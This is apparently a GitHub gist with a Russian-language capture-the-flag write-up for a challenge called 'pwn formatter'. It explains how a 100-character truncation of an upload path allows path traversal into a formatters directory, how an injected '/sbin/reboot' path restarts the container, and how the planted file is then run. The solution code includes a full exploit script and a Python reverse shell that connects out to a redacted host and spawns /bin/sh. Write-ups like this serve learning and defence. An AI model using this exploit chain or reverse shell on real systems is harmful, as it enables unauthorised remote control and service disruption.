Skip to content

Instantly share code, notes, and snippets.

@TheAirBlow
Last active December 10, 2023 17:37
Show Gist options
  • Select an option

  • Save TheAirBlow/5e349b147d055bcd4f92715686f7abc0 to your computer and use it in GitHub Desktop.

Select an option

Save TheAirBlow/5e349b147d055bcd4f92715686f7abc0 to your computer and use it in GitHub Desktop.
pwn formatter
  1. Сразу в глаза бросается следующая строчка кода: saved_path = str(saved_path)[:100]
    • Это даёт нам возможность сохранить файл пути, отличному от formatter'а.
    • Благодоря этому мы можем создать файл по любому пути - например, в /app/formatters.
    • saved_path всегда начинается с uploads/ + рандомный UUID и -.
    • Соответсвтвенно, нам нужен formatter длиной 100 - 8 - 36 - 1 = 55 символов.
    • После 55 символов мы можем изменить путь для check_output, у меня за это отвечает /../yaml
    • В итоге, мы получаем ../../../../../../../../../../../app/formatters/payload/../yaml.
  2. Программа делает все formatter'ы исполняемыми при запуске
    • Соответсвенно, нам нужно перезагрузить контейнер, либо крашнуть воркер.
    • Вспоминаем про существование /sbin/reboot и то, что у нас есть path injection.
    • Отправляем formatter со значением /../../sbin/reboot и ждем пару секунд.
  3. Самое очевидное - просто отправляем formatter со значением payload :p
Исходный код решения
import requests, time

url = "http://localhost:5467/format"
print('uploading payload')
requests.post(url, files={'file': open('payload.py','rb')},
    data={'formatter': '../../../../../../../../../../../app/formatters/payload/../yaml'})
print('restarting container')
requests.post(url, files={'file': open('/dev/null','rb')},
    data={'formatter': '/../../sbin/reboot'})
time.sleep(5)
print('running payload')
requests.post(url, files={'file': open('/dev/null','rb')},
    data={'formatter': 'payload'})
#!/usr/local/bin/python
import socket, os, pty
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("[REDACTED]", 1337))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    pty.spawn("/bin/sh")
except:
    pass
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment